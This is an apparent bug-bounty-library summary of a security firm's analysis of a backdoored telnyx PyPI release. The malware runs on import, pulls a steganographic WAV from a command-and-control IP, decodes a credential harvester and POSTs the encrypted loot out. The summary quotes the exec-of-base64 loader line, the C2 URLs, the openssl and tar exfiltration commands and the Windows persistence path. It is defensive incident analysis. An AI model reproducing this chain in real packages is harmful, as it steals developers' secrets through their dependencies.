# TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package

TeamPCP injected a WAV-steganography credential stealer into telnyx PyPI 4.87.1/4.87.2, executing on import to harvest and exfiltrate secrets via AES/RSA-encrypted tpcp.tar.gz.

- Payout: Real-world hack
- Severity: critical
- Program: telnyx
- Analysis by: StepSecurity
- Disclosed: 2026-04-02
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/teampcp-plants-wav-steganography-credential-stealer-in-telnyx-pypi-package
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-teampcp-plants-wav-steganography-credential-stealer-in-telnyx-pypi-package
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:python technique:chained technique:reverse-engineering technique:source-review vuln:dependency-confusion vuln:secrets-leak

**Target:** PyPI package telnyx Python SDK (_client.py)
**Root cause:** Malicious maintainer/account compromise injected 74 lines into src/telnyx/_client.py, adding module-scope calls to setup()/FetchAudio() that run on import telnyx, fetching a WAV from C2 and decoding a base64+XOR payload.
**Steps:**
1. Install telnyx==4.87.1 or 4.87.2; `import telnyx` triggers module-scope FetchAudio()/setup()
2. FetchAudio spawns detached subprocess: `python -c "import base64; exec(base64.b64decode(_p).decode())"`
3. Subprocess GETs `http://83.142.209.203:8080/ringtone.wav` with `User-Agent: Mozilla/5.0`
4. Opens WAV via `wave`, base64-decodes frames, first 8 bytes = XOR key, remainder XOR-decoded to stage-2 harvester
5. Harvester piped to `python -` via stdin (no disk write), collects credentials to temp file
6. Encrypt: `openssl rand -out sk 32`; `openssl enc -aes-256-cbc -pbkdf2 -pass file:sk`; `openssl pkeyutl -encrypt -pubin -inkey pk -pkeyopt rsa_padding_mode:oaep`
7. `tar -czf tpcp.tar.gz payload.enc session.key.enc`; POST to `http://83.142.209.203:8080/` with `X-Filename: tpcp.tar.gz`
8. Windows: setup() fetches `hangup.wav`, XOR-decodes PE, drops `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe`, runs with CREATE_NO_WINDOW; 12h lock file `msbuild.exe.lock` hidden via `attrib +h`
**How found:** Static analysis of both releases: spotted 7 injected stdlib imports (subprocess, tempfile, wave, urllib.request) plus duplicate `os`, a base64 helper `_d`, a 4,436-char `_p` blob, and module-scope `Setup()`/`FetchAudio()` calls at file end; decoded `_p` and WAV payloads; diffed 4.87.1 vs 4.87.2 to find the `Setup()`→`setup()` casing fix; validated via Harden-Runner in GitHub Actions.
**Exploitation:** Any application importing telnyx 4.87.1/4.87.2 silently executes the payload. Linux/macOS: detached subprocess fetches ringtone.wav, decodes stage-2 harvester, runs it via stdin, encrypts harvested secrets with AES-256-CBC + RSA-4096-OAEP, tars to tpcp.tar.gz and POSTs to C2. Windows: drops persistent msbuild.exe into Startup for reboot persistence. C2 was offline during controlled run, but static analysis confirms full chain.
**Escalation:** Cross-platform bifurcation (Linux/macOS harvester vs Windows persistence), 12-hour lock to avoid redundant installs, LOLBin impersonation (msbuild.exe), and reuse of same RSA key/C2 across litellm and Trivy campaigns enabling bulk credential decryption.
**Insight:** Diff consecutive PyPI releases of a package and grep for module-scope function calls plus new stdlib imports (subprocess, wave, urllib.request, base64) in files imported at package top level — a single-character case fix between versions (Setup vs setup) is a strong tell of live attacker iteration and confirms which platform path was being debugged.
